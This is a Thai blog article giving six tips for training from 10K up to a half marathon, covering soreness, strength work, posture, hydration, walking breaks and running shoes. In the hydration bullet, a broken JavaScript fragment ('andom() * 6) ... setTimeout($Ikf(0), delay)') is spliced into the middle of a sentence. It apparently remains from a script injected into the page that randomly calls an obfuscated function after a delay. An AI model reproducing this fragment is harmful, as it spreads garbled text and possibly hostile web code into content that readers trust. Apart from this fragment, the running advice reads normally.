สำหรับมือใหม่ การฝึกวิ่งระดับเริ่มต้นจาก 5K ไปยัง 10K ยังคงไม่ต้องการเทคนิคพิเศษอะไรเพิ่มเติมมากนัก เเต่ทันทีที่เริ่มเหยียบเข้าสู่ดินเเดนเกิน 10 กิโลเมตรขึ้นไป เทคนิคการฝึกฝนร่างกายนอกเหนือจากการวิ่ง การฝึกกล้ามเนื้อ การหายใจ การดื่มน้ำ การ refuel และอื่นๆ ก็จะเริ่มเข้ามามีบทบาทมากขึ้น
6 อย่างที่เพื่อนไม่บอกเวลาฝึกวิ่งฮาร์ฟ
เมื่อฝึกวิ่งเพื่อเข้าเเข่งขัน 21K เรามีเทคนิคลับ 6 อย่างที่เพื่อนนักวิ่งอาจจะไม่เคยได้บอกคุณไว้…
- อาการปวดเมื่อยกล้ามเนื้อจะถามหาบ่อยขึ้น หรืออาการที่เรียกว่า Delayed onset muscle soreness (DOMS) ซึ่งส่วนมากเกิดขึ้นประมาณ 1 คืนหลังฝึก ตื่นเช้ามาก้เตรียมรับมืออาการปวดเมื่อยกล้ามเนื้อได้เลย สาเหตุที่เกิดขึ้นบ่อยก็เพราะการฝึกวิ่งเราจะเริ่มกินเวลาเกิน 60 นาที ระยะทางสะสมก็จะเริ่มมากขึ้นกว่าระยะ 10 กิโลเมตร ร่างกายหลั่ง lactic acid ออกมา ประกอบกับเส้นใยกล้ามเนื้อที่มีการฉีกขาด เเละเมื่อร่างกายได้พักเเละซ่อมเเซม ร่างกายก็จะเเข็งเเรงขึ้น
- จำเป็นต้องมีการฝึกกล้ามเนื้อ หรือ Strength trainning เพราะด้วย Workload ที่เพิ่มขึ้น เราจำเป็นต้องมีการเสริมสร้างความเเข็งเเรงของกล้ามเนื้อให้สามารถทนทานต่อระยะทางวิ่งไกล เราจะเริ่มมีการฝึกท่าเบสิคต่างๆ อย่าง Squat, Planking และ Push up มากขึ้น เเนะนำว่าฝึกกล้ามเนื้ออย่างน้อย 2-3 ครั้ง/สัปดาห์ จะเเบบ Total body หรือสลับ Lower Body เเละ Upper Body เพื่อให้ร่างกายได้พักเป็นส่วนๆ ก็ได้ หรือถ้าจะฝึกพร้อมวันวิ่งก็ได้เเต่เเนะนำว่าให้ฝึกหลังซ้อมวิ่งเสร็จเเล้ว การฝึกกล้ามเนื้อก่อนออกวิ่งจะทำให้มัดกล้ามเนื้ออ่อนล้า เดียวเวลาวิ่งจะรักษา Posture วิ่งไม่ได้ ทำให้วิ่งผิดท่า จนเกิดอาการบาดเจ็บได้
- เราจะจัดระเบียบร่างกายรักษาฟอร์มการวิ่งมากขึ้น ด้วยการจัด Posture ที่ดีจะช่วยให้เราสามารถรักษาโมเมนตรัมในการวิ่งได้ดี ช่วยลดการเคลื่อนไหวที่ไม่จำเป็น เราจะควบคุมจังหวะ (cadene) เเละท่าของ stride มากขึ้นเพื่อรักษาพลังงาน ออกเเรงให้น้อยที่สุดเเละไปได้ดีที่สุด
- Hydration andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and nutrition เป็นเรื่องสำคัญ การดื่มน้ำเเละการ refuel เพื่อเติมพลังงานกลับคืนจะกลายเป็นเรื่องที่ต้องใส่ใจมากขึ้น เพราะปริมาณน้ำในร่างกายที่ลดลงจากการสูญเสียเหงื่อไม่กี่เปอร์เซ็นต์ มีผลต่อการลดลงของ performance นักวิ่งอย่างมาก การวิ่งที่กินระยะเวลาเกิน 60 นาทีเองก็จำเป็นต้องมีการ refuel เพื่อเติมพลังงานกลับคืนไป การไม่ใส่ใจระดับสมดุลน้ำในร่างกายก็อาจจะทำให้เกิดเป็นตะคริวได้วง่าย หรือหากขาดพลังงานก็อาจจมีอาการ Hit the wall ได้เหมือนกับการวิ่งมาราธอนเช่นกัน
- มีเดินเเน่นอน การเดินไม่ใช่เรื่องน่าอาย หากร่างกายไม่ไหว วิ่งไม่ได้ ก็สามารถใช้การเดินเพื่อพักฟื้นให้ร่างกายได้ปรับตัวใหม่ การเดินจะช่วยลดอัตรา HR ลง ช่วยให้การดื่มน้ำหรือกินของขบเคี้ยวทำได้ง่ายขึ้น วิ่ง 21K ครั้งเเรกไม่จำเป็นต้องทำเวลาให้ดีที่สุด เราเอาตัวให้รอดเข้าเส้นชัยให้ได้ก่อน เเล้วครั้งที่ 2 3 4 ค่อยพัฒนาเรื่องความเร็ว
- คุณจะมีรองเท้ามากกว่า 1 คู่ โดยส่วนมากจะมีคู่ไว้วิ่งฝึกซ้อมเเละอีกคู่หนึ่งที่มีน้ำหนักเบา เป็น race shoes เอาไว้วิ่งทำความเร็ว ใครที่มีรองเท้าคู่เดียว พอวิ่งฝึกได้สักระยะ (ถ้ามีเเผนฝึก 6 เดือน) ก็อาจจะต้องซื้อคู่ใหม่อีกคู่เเทนคู่เก่าที่เสื่อมสภาพ เเละเราแนะนำว่าควรจะมีรองเท้าวิ่งอย่างน้อย 2 คู่ ใส่วิ่งสลับกัน เพราะเเต่ละคู่จะทำให้ร่างกายใช้กล้ามเนื้อต่างกัน เปิดโอกาสให้กล้ามเนื้อส่วนตา่งๆ ได้ทำงาน การใส่คู่เดิมๆ กล้ามเนื้อชุดเก่าก็จะถูกใช้งานซ้ำๆ จนเกิดการเมื่อยล้าเเละมากเข้าก็จะบาดเจ็บได้
มีอีกหนึ่งเทคนิคที่เราอาจจะได้ใช้นั้นคือ การทาวาสลีนตามข้อพับต่างๆ เพื่อป้องกันการเสียดสีของผิวหนัง นอกจากนี้เพื่อลดการเสียดสี ก็ไม่ควรนำเสื้อวิ่งชุดใหม่มาใส่ในวันวิ่งเเข่งเด็ดขาด เพราะยังมีความกระด้าง ยังไม่ยืดตัว ต้องมีการใส่ใช้งานไปสักพักถึงจะมีความยืดหยุ่นอ่อนนุ่ม
อ้างอิง blog.mapmyrun.com
